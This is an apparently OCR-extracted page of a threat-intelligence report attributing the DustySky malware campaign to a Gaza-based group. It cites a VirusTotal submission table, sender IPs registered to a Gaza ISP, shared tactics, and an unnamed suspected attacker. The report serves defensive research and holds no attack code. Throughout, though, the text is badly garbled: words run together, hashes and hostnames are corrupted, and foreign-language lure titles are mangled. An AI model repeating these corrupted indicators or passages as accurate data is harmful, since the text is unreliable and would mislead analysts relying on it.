dnsfor.dnsfor.maised by c8fa23c3787d9e6c9e203e48081a1984
Gaza cybergang 6af77a2f844c3521a40a70f6034c5¢c4a

Gaza Strip origins

Only one sample aa288a5chf4c897ff02238e85187566Was uploaded to VirusTotahortly after it was
compiled Less than a minute and a haelapsedbetween compilation ougust & 2015 at10:31:12and
the first VirusTotal submissioat 10:32:24 This sample was uploaded frdBaza

The ery short time frame between compilation aMirusTotakubmissiorcould indicate that theattackeris
the one whohassubmitted the sample in order tolearn whetherantivirus enginesletect it

Compilation timestamp 2015-08-08 10:31:12

Date File name Source Country
2015-10-07 18:18:02 548e7a547c8fe8f7281ff63f8ebfcc05ae7be... hb52e797 (community) us
2015-10-05 08:50:35 vti-rescan d25a680a (community) IN
2015-10-05 06:26:41 vti-rescan d25a680a (community) IN
2015-10-01 06:23:52 vii-rescan d65ad749 (community) PK
2015-09-30 19:59:32 vii-rescan 730bac5h (community) CA
2015-09-30 18:16:00 vti-rescan 730bac5b (community) CA
2015-08-08 10:32:24 Music Synchronization.exe fédec7cf (web) PS

12 https://www.fireeye.com/blog/threatresearch/2013/08/operatiormoleratsmiddle-eastcyberattacksusing
poisonivy.html

13 https://securelist.com/blog/research/72283/gazeyberganewheresyour-ir-team/

14 All attribution data in the table are taken frohttps://securelist.com/blog/research/72283/gazaybergangwheres
your-ir-teanv.
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Emailmessagesent fromGaza Strip

Some of the maliciousmailmessags, for exampldéhose containingiSupermodel Bar Refaeli Stars in Israeli
Spy Movie.exél Y R* ¢ ¢4 _ wvYl x {11+ _ekeé(Hamas unveiled a documentation of Gilad
Shalit in captivity)were sent from185.12.187.105% and 31.223.186.7% respectivelyBoth IPsbelong to
internet providerCITYNET, based in Gaza Strip

IP Information for 185.12.187.105
= Quick Stats
IP Location E= Palestine, State Of Dayr Al Balah City Net Informatics Internet And Communication
Technologies And General Trade Ltd.
Similar TTPs

Theattribution of this activity to the above mentioned groupalso based osimilarities in attack
characteristics

Email subjects

Contentof lure documents

Syle andgrammaticakrrors.

Impersonation of senders frogovernment organizationsecurity forcesind media outlets
Impersonating legitimate software

Target characteristicand overlap (i.e. organizations that where targetedtyleratsare similarly
targeted with DustySky)

= =4 -4 -4 -8 -9

Individuals
wSOSyd al YLt Sa KIFER a[lald { lp@btRa specific indiNddlighdliieAb8lidgve 2 F
is one of the attackersn hisSocial media accountkis individual definehimself as &oftware Engineer

who lives in Gaz&ublic interactionsn his YouTube page (such as videos he likegljelated tohacking
tools and methods We have decided not tdisclosethis individuak namein the public report.

15 https://whois.domaintools.com/185.12.187.105
16 http://whois.domaintools.com/31.223.186.71
7 CITYNET City Net Informatics, Internet and Communication Technologies and General Trade Ltd. (PS)
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